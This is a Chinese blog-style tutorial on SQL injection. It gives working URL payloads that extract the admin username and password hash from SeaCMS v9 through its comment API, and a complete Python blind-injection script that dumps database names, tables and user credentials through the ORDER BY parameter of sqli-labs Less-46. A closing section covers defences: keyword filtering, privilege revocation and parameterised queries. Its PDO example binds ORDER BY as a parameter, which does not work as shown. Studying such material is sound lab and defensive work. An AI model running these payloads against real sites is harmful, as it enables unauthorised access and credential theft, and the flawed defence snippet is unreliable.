seacmsv9注入管理员账号密码+orderby+limit

devtools/2025/2/27 18:25:01/

seacmsv9注入管理员账号密码

seacms介绍

海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构,使用 fofa 搜索可以看到存在 400+的记录:

img

因为seacms开源,所以seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为 sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

用以下语句尝试注入

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

并未成功,抓包后,发现执行的Sql为:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

在数据库seacms里执行这个SQL语句,没有报错出管理员,查询该表信息,显示该表为空,修改为查询database(),却能爆出数据库名

正常使用中,sea_comment表应该是有数据的,我们插入一条数据,再次执行开始的SQL语句,发现依旧未执行,插入第二条数据,再次执行SQL语句,可以执行。

此时,在浏览器再次注入语句,成功爆破出账号

密码同理:

http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

密码为:f297a57a5a743894a0e4,因为这是由md5加密的,破解得到:admin

绕过ORDER BY 注入

sqlilabs-less46为例

用参数sort分别传入id、username

观察源码可知,该代码是通过sort传入的字段进行排序,我们可以用sort=if(表达式,id,username)的方式注入,用BS爬取表格中username下一格的值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen注入,代码如下

python">import requests
from bs4 import BeautifulSoupdef get_username(resp):soup = BeautifulSoup(resp,'html.parser')username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textreturn usernamedef inject_database_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_table_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_column_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_data_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \from users),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)if __name__ == '__main__':inject_data_boolen()

结果如下:

过滤information_schema

在 SQL 注入攻击中,information_schema是攻击者常用的数据库之一,因为它存储了关于数据库、表、列等元数据信息。攻击者可以通过查询information_schema来获取数据库结构,从而进一步实施攻击。

为了防止攻击者利用information_schema,可以采取以下措施来过滤或限制对information_schema的访问:

底层代码过滤

在应用程序代码中,对用户输入进行严格的过滤,禁止包含information_schema的关键字。

python">if (stripos($orderby, 'information_schema') !== false) {die('Invalid input: information_schema is not allowed');
}

使用stripos函数检查用户输入中是否包含information_schema​​​​​​​;如果包括,则直接终止程序并返回错误信息。

使用正则表达式

通过正则表达式匹配用户输入,禁止包含information_schema或其他敏感关键字。

python">if (preg_match('/information_schema/i', $orderby)) {die('Invalid input: information_schema is not allowed');
}

使用preg_match函数检查用户输入中是否包含information_schema​​​​​​​(不区分大小写);如果包括,则终止程序并返回错误信息。

限制数据库用户权限

通过限制数据库用户的权限,禁止其对information_schema​​​​​​​的访问。

sql">REVOKE SELECT ON information_schema.* FROM 'your_db_user'@'localhost';

使用REVOKE语句撤销数据库用户对information_schema​​​​​​​的查询权限;这样即使攻击者尝试访问information_schema​​​​​​​,也会被拒绝。

使用只读用户

为应用程序分配一个只读用户,该用户只能访问特定的数据库和表。

sql">CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT ON your_database.* TO 'app_user'@'localhost';

创建一个新的数据库用户app_user,并为其分配对your_database的只读权限;这样即使攻击者成功注入 SQL,也无法访问information_schema​​​​​​​或其他数据库。

使用参数化查询

$stmt = $pdo->prepare("SELECT * FROM sea_content ORDER BY :orderby LIMIT :limit");
$stmt->execute(['orderby' => $_GET['orderby'], 'limit' => $_GET['limit']]);

使用 PDO 或 MySQLi 的参数化查询功能,防止 SQL 注入。

总结

过滤information_schema​​​​​​​是防止 SQL 注入攻击的重要措施之一。通过以下方法可以有效防御:

在代码层过滤information_schema​​​​​​​关键字;

限制数据库用户权限,禁止访问information_schema​​​​​​​

使用 WAF 拦截包含information_schema​​​​​​​的请求;

使用参数化查询,避免直接拼接用户输入;

定期进行安全审计,修复潜在漏洞。

通过综合运用这些措施,可以显著提高系统的安全性,防止攻击者利用information_schema​​​​​​​进行 SQL 注入攻击。


http://www.ppmy.cn/devtools/163131.html

相关文章

Java注解的原理

目录 问题: 作用&#xff1a; 原理&#xff1a; 注解的限制 拓展&#xff1a; 问题: 今天刷面经&#xff0c;发现自己不懂注解的原理&#xff0c;特此记录。 作用&#xff1a; 注解的作用主要是给编译器看的&#xff0c;让它帮忙生成一些代码&#xff0c;或者是帮忙检查…

论文阅读笔记:Continual Forgetting for Pre-trained Vision Models

论文阅读笔记&#xff1a;Continual Forgetting for Pre-trained Vision Models 1 背景2 创新点3 方法4 模块4.1 问题设置4.2 LoRA4.3 概述4.4 GS-LoRA4.5 损失函数 5 效果6 结论 1 背景 出于隐私和安全考虑&#xff0c;如今从预先训练的视觉模型中删除不需要的信息的需求越来…

深入理解 Linux 中的 last 和 lastb 命令

在 Linux 系统中&#xff0c;last 和 lastb 命令是两个非常有用的工具&#xff0c;用于追踪用户登录和登出的历史记录。这两个命令可以帮助系统管理员了解用户的活动情况&#xff0c;以及系统的重启和关机事件。本文将详细介绍这两个命令的使用方法和选项。 last 命令 用法&am…

web安全——分析应用程序

文章目录 一、确定用户输入入口点二、确定服务端技术三、解析受攻击面 一、确定用户输入入口点 在检查枚举应用程序功能时生成的HTTP请求的过程中&#xff0c;用户输入入口点包括&#xff1a; URL文件路径 通常&#xff0c;在查询字符?之前的URL部分并不视为用户输入入口&am…

AI绘画软件Stable Diffusion详解教程(2):Windows系统本地化部署操作方法(专业版)

一、事前准备 1、一台配置不错的电脑&#xff0c;英伟达显卡&#xff0c;20系列起步&#xff0c;建议显存6G起步&#xff0c;安装win10或以上版本&#xff0c;我的显卡是40系列&#xff0c;16G显存&#xff0c;所以跑大部分的模型都比较快&#xff1b; 2、科学上网&#xff0…

WSL,Power shell 和CMD, Git bash的区别

在 Windows 系统中&#xff0c;WSL、PowerShell、CMD、Git Bash 和 Git Bash&#xff08;管理员&#xff09; 是不同的命令行工具和环境&#xff0c;它们各自有不同的用途和特点。以下是它们的详细关系和区别&#xff1a; 1. WSL&#xff08;Windows Subsystem for Linux&…

FPGA开发时序图绘制

开始的时候画时序图都是拿 visio 硬连&#xff0c;但是那个线宽太难统一了&#xff0c;丑不拉几的&#xff0c;遂学习 waveform 语法使用代码来画时序图。 开始 Vscode 中安装 waveform render 或者在 GitHub 搜索 wavedrom 安装即可。由于 vscode 是我常用的编辑器&#xff…

监督学习——基于线性回归的波士顿房价预测:理论、实践与评估

基于线性回归的波士顿房价预测:理论、实践与评估 文章目录 基于线性回归的波士顿房价预测:理论、实践与评估一、引言二、线性回归基础理论2.1 线性回归原理2.2 线性回归在房价预测中的应用逻辑三、波士顿房价数据集介绍3.1 数据集概述3.2 特征说明3.3 目标变量四、波士顿房价…